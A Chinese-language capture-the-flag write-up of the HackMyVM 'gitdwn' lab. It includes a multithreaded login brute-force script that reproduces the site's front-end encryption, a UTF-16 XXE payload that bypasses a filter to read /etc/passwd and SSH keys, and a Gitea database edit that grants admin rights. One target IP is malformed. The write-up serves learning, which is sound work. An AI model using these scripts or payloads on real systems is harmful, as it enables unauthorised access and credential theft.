HackMyVM - gitdwn 靶机渗透记录

HackMyVM - gitdwn 靶机渗透记录

环境与目标

  • 靶机IP:192.168.33.56.149
  • 目标:从外网访问到 Web 服务,拿到 shell,一步步横向到最终root权限。

一、信息收集

1.端口扫描

rustscan -a 192.168.56.149 --ulimit 5000 -- -sV -O
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: allowing you to send UDP packets into the void 1200x faster than NMAP

[~] The config file is expected to be at "/home/tlgjm/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 192.168.56.149:22
Open 192.168.56.149:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sV -O" on ip 192.168.56.149
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-10 20:43 +0800
NSE: Loaded 48 scripts for scanning.
Initiating ARP Ping Scan at 20:43
Scanning 192.168.56.149 [1 port]
Completed ARP Ping Scan at 20:43, 0.17s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:43
Completed Parallel DNS resolution of 1 host. at 20:43, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 20:43
Scanning 192.168.56.149 [2 ports]
Discovered open port 22/tcp on 192.168.56.149
Discovered open port 80/tcp on 192.168.56.149
Completed SYN Stealth Scan at 20:43, 0.01s elapsed (2 total ports)
Initiating Service scan at 20:43
Scanning 2 services on 192.168.56.149
Completed Service scan at 20:43, 6.04s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.56.149
NSE: Script scanning 192.168.56.149.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 20:43
Completed NSE at 20:43, 3.07s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 20:43
Completed NSE at 20:43, 2.00s elapsed
Nmap scan report for 192.168.56.149
Host is up, received arp-response (0.014s latency).
Scanned at 2026-03-10 20:43:36 CST for 13s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
MAC Address: 08:00:27:36:56:0B (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=3/10%OT=22%CT=%CU=40800%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=69B01205%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=108%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 34.314 days (since Wed Feb 4 13:11:06 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds
Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)

可以看到 22(SSH)、80(HTTP)开放。渗透入口优先从 Web(80 端口)开始。

二、Web枚举与登录逻辑

访问web首页:

是一个自定义登录页,看起来不是常见 CMS/框架,更像自写前后端。
dirsearch扫一遍目录,发现有api路由:

访问后得到两个 PHP 接口:

简单探测接口:

  • 访问 import.php:提示未认证,推测需要登录态;
  • 访问 login.php:提示请求方法不允许(Method Not Allowed):

更改请求方法为POST后,提示缺少参数字段,可以推断这里与首页的登录框逻辑一致:

三、发现 dashboard 与初步漏洞猜测

dirsearch还发现了dashboard.html,访问返回了一段前端页面源码,关键部分如下:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>MazeSec Community - Admin Dashboard</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="dashboard-container">
<div class="dashboard-header">
<h1>Admin Dashboard</h1>
<div class="user-info">
<span id="username">Admin</span>
<button class="logout-btn" onclick="logout()">Logout</button>
</div>
</div>

<div class="dashboard-grid">
<div class="dashboard-card">
<h2>Data Import</h2>
<p>Import data from XML files. The system will parse and process the imported data automatically.</p>

<form id="importForm" class="login-form" enctype="multipart/form-data">
<div class="form-group">
<label for="xmlFile">XML File</label>
<input type="file" id="xmlFile" name="xmlFile" accept=".xml" required>
</div>

<button type="submit" class="btn-primary">Import Data</button>
</form>

<div id="importMessage" style="display: none;"></div>

<div class="info-box">
<strong>Note:</strong> The system supports standard XML format. Make sure your XML file is well-formed.
</div>
</div>
</div>

<div class="dashboard-card">
<h2>System Information</h2>
<div class="info-box">
<p><strong>Server:</strong> <code>mazesec-web-01</code></p>
<p><strong>PHP Version:</strong> <code>8.1.0</code></p>
<p><strong>Status:</strong> <span style="color: #34c759;"></span> All systems operational</p>
</div>
</div>
</div>

<script src="dashboard.js"></script>
</body>
</html>

这里有两个明显提示:

  • 后台支持 XML 文件导入;
  • 服务器 PHP 版本为 8.1.0。

自然会先想到 XXE 注入,但暂时没有服务器端解析逻辑的细节,也没有错误回显。当时查 PHP 8.1.0 相关漏洞时顺带看到了 php-8.1.0-dev 后门 RCE,记录在:php-8.1.0-dev-backdoor-rce,但与本题版本不完全一致,这里仅做知识积累。

四、模拟前端加密逻辑进行爆破

一开始在登录上没啥突破口,和师哥交流后确认:前端 JS 只是做 加密与混淆,真正认证逻辑在后端,AES-CBC在这里也没有想到什么可以利用的点,因此思路变成:

模拟前端login.js的加密逻辑;

  • 用 Python 模拟同样的加密,再配合字典爆破。
  • 对应的爆破脚本(核心逻辑保留如下):
import json
import base64
import requests
import threading
from concurrent.futures import ThreadPoolExecutor
from Crypto.Cipher import AES, PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes

# 和前端一致的 RSA 公钥
RSA_PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt6l3k43vuI+8ODHhr07q
/fBswyWqv5d0SsoX2+i5rWy98PW58HNrKveU6IDRhWFOmA8MQ0j7zUcH33VGaQNO
ZdI8gmo4pdlABQJ7EM4E6KGYCxlyIi4QtyUorBP6pfS1nlLCyAIcybnpia4kHT/p
MqaIXKMVqDYHGJMNp0LIBkFA0eKp9usd2YStJ0nzgZrJS2t8znbvqXqx8uvBkRpZ
bEZKUc3skgUIumazaw4plE+OzcVAa/67vuD7e7sycVHY+McsphLm+1CjS1jjvBt6
z036X4WJUANNIb4K2yJ8tYREXbxLQ5uwnVb9cwbQKSGg8Tr6GgSkbNjseAgZaUPt
QwIDAQAB
-----END PUBLIC KEY-----"""

# 目标地址:根据实际情况修改(本地/远程)
TARGET_URL = "http://192.168.33.22:8080/api/login.php"

def encrypt_payload(username: str, password: str):
"""
按 login.js 的逻辑加密:
- 随机 AES-128-CBC 密钥和 IV
- 加密 JSON 凭据
- AES 密钥与 IV 先各自 Base64,再用 RSA 公钥加密,并再 Base64
"""
# 1. 生成随机 AES key 和 IV(16 字节 = 128 bit)
aes_key = get_random_bytes(16)
iv = get_random_bytes(16)

# 2. 构造凭据 JSON 并 AES-128-CBC + PKCS7 加密
credentials = json.dumps({
"username": username,
"password": password
}).encode("utf-8")

cipher_aes = AES.new(aes_key, AES.MODE_CBC, iv)
ciphertext = cipher_aes.encrypt(pad(credentials, AES.block_size))

# 前端:encrypted.ciphertext.toString(CryptoJS.enc.Base64)
encryptedData = base64.b64encode(ciphertext).decode("utf-8")

# 3. AES key / IV 先各自 Base64,再用 RSA 公钥加密,然后再 Base64 输出
aes_key_b64 = base64.b64encode(aes_key).decode("utf-8")
iv_b64 = base64.b64encode(iv).decode("utf-8")

rsa_key = RSA.import_key(RSA_PUBLIC_KEY)
cipher_rsa = PKCS1_v1_5.new(rsa_key)

encryptedKey_bytes = cipher_rsa.encrypt(aes_key_b64.encode("utf-8"))
encryptedIv_bytes = cipher_rsa.encrypt(iv_b64.encode("utf-8"))

encryptedKey = base64.b64encode(encryptedKey_bytes).decode("utf-8")
encryptedIv = base64.b64encode(encryptedIv_bytes).decode("utf-8")

return {
"encryptedData": encryptedData,
"encryptedKey": encryptedKey,
"encryptedIv": encryptedIv,
}

def try_login(username: str, password: str):
payload = encrypt_payload(username, password)

headers = {
"Content-Type": "application/json",
}

resp = requests.post(TARGET_URL, headers=headers, data=json.dumps(payload), timeout=10)
try:
data = resp.json()
except Exception:
print(f"[!] {username}:{password} -> 非 JSON 响应,HTTP {resp.status_code}")
return False, None

success = bool(data.get("success"))
return success, data

def load_list(path: str):
with open(path, "r", encoding="utf-8", errors="ignore") as f:
return [line.strip() for line in f if line.strip()]


# 多线程相关的全局状态
found_event = threading.Event()
found_result = {
"username": None,
"password": None,
"data": None,
}
result_lock = threading.Lock()


def worker(username: str, password: str):
"""线程工作函数:尝试一次登录,如果成功则记录结果并发出事件。"""
if found_event.is_set():
return

print(f"[*] 尝试 {username}:{password}")
try:
ok, data = try_login(username, password)
except Exception as e:
print(f"[!] 请求错误 {username}:{password} -> {e}")
return

if ok:
with result_lock:
if not found_event.is_set():
found_result["username"] = username
found_result["password"] = password
found_result["data"] = data
found_event.set()


def main():
# 根据需要修改字典文件路径
user_dict_path = "/Users/xufengzhi/Tools/security/字典-模糊测试/fuzzing/Web-Fuzzing-Box/Brute/Username/Top20_Admin_Username.txt"
pass_dict_path = "/Users/xufengzhi/Tools/security/字典-模糊测试/fuzzing/Web-Fuzzing-Box/Brute/Top_Password/Top100000.txt"

usernames = load_list(user_dict_path)
passwords = load_list(pass_dict_path)

print(f"[+] 用户名数量: {len(usernames)}")
print(f"[+] 密码数量: {len(passwords)}")
print(f"[+] 共尝试组合: {len(usernames) * len(passwords)}")

# 线程数量可根据链路和目标承受能力调整
max_workers = 10
print(f"[+] 使用线程数: {max_workers}")

with ThreadPoolExecutor(max_workers=max_workers) as executor:
for u in usernames:
if found_event.is_set():
break
for p in passwords:
if found_event.is_set():
break
executor.submit(worker, u, p)

# 等待已提交任务执行完毕(不能取消已在队列中的任务)
executor.shutdown(wait=True, cancel_futures=False)

if found_event.is_set():
print("=" * 60)
print(f"[+] 找到有效账号: {found_result['username']}:{found_result['password']}")
print(f"[+] 服务端返回数据: {found_result['data']}")
print("=" * 60)
else:
print("[-] 字典中未找到有效组合。")

if __name__ == "__main__":
main()

最终爆破出有效账号,成功登录后台。

五、XXE 利用:编码绕过 + 文件读取

登录后台后,界面是一个上传 XML 的页面,很符合前面 import.php 的功能描述。最自然的想法就是尝试 XXE:

但直接上传常见 XXE payload 会被判定为“不支持”,其他满足xml语法的也会被限制。这里考虑到:

  • 校验逻辑很可能是针对 UTF‑8 编码做的规则;
  • 可以尝试通过修改 XML 编码为 UTF‑16 来绕过。

构造脚本如下:

import requests

url = "http://192.168.33.22:8080/api/import.php"
cookies = {
"PHPSESSID": "2hal23fa98h2ag70hahik64t8d",
"session_token": "5399a7f7933378e6cfafb2942e9f134740469607659fb638328af3e638217f51",
}

xml_text = """<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE data [
<!ELEMENT data ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
"""

xml_bytes = xml_text.encode("utf-16")

files = {
"xmlFile": (
"Classic XXE - etc passwd.xml",
xml_bytes,
"text/xml; charset=utf-16"
)
}

headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/136.0.0.0 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9",
"Origin": "http://192.168.33.22:8080",
"Referer": "http://192.168.33.22:8080/dashboard.html",
}

r = requests.post(url, headers=headers, cookies=cookies, files=files)
# print(files)
print(r.status_code, r.text)

成功通过 XXE 读取到 /etc/passwd,发现存在 gitbilir 两个普通用户。继续用 XXE 读取 gitauthorized_keys

接着尝试读取git用户的私钥

把私钥写入本机.ssh目录下,尝试 SSH 登录时发现还需要输入私钥密码

于是使用ssh2john.py将私钥转换为hash,再用john爆破私钥口令:

最终成功登入git用户:

六、横向 + 提权:本地 Gitea 服务

拿到git shell后,需要继续寻找提权路径。传统 SUID/内核等方向没什么收获,于是查看当前主机上的网络服务

ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:3000 0.0.0.0:* users:(("gitea",pid=359,fd=13))
tcp LISTEN 0 20 127.0.0.1:25 0.0.0.0:*
tcp LISTEN 0 128 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 20 [::1]:25 [::]:*

可以看到本地 127.0.0.1:3000 上有一个gitea服务,仅对本机开放。进一步查看启动命令:

ps -fp 37903
UID PID PPID C STIME TTY TIME CMD
git 37903 1 0 10:11 ? 00:00:00 /usr/local/bin/gitea web --config /etc/gitea/app.ini

可以看到配置文件路径为/etc/gitea/app.ini。为了从攻击机访问Gitea,有两种思路:

  • 修改app.ini中监听地址为0.0.0.0后重启;
  • 或使用端口转发,例如:
    sudo socat TCP4-LISTEN:8080,fork,reuseaddr TCP4:127.0.0.1:3000

然后在攻击机浏览器访问:

首页有注册/登录入口,还可以探索到bilir用户和一个Snake项目。查看提交历史和仓库内容并没有直接有用的信息,bilir在这个仓库中也没做什么修改。

不过,由于我们已经控制了部署Gitea的主机,可以直接操作Gitea的后端数据库,将自己注册的账号提升为管理员,从而查看更多隐藏信息。

具体操作:

# 连接数据库修改信息
sqlite3 /var/lib/gitea/data/gitea.db

# 查看数据表
.tables

# 查看用户表中用户id、名称、是否是管理员的信息
SELECT id, name, is_admin FROM user;

# 更新权限
UPDATE user SET is_admin = 1 WHERE name='tlgjm';

再次登录后查看,可以在仓库右上角看到 设置 按钮。在设置中继续翻找,发现在 Web 钩子 中配置了一个带Bearer的授权标头:

其中YmlsaXIhQCM=解码后是bilir!@#,也是bilir的ssh密码,使用该密码即可 SSH 登录 bilir 用户。

七、利用 Git 仓库泄露的凭据提权到 root

登录bilir用户后,可以在其家目录下看到一个 Git 仓库目录:

一开始查看statusbranchcommit历史,都没有特别敏感的信息,只是露出了一个数据库用户名。

继续排查stash记录时,发现这里才是关键stash中泄露了数据库的密码:

服务器并没有对外开放 MySQL 服务,但密码极有可能被复用。于是直接尝试用这串数据库密码作为 root 的系统密码进行登录,结果成功获取 root shell,拿到最终 flag:

总结

  • 利用链:Web枚举 → 前端加密爆破登录 → XXE编码绕过读文件 → SSH私钥 + 口令爆破 → 本地 Gitea服务 + DB提权 → Git stash泄露密码 → 密码复用到root
  • 靶机涉及的知识点包括:前端加密还原、字典爆破、多线程优化、XXE + 编码绕过、本地服务枚举、Gitea 管理员提权、Git stash 信息泄露、密码复用 等。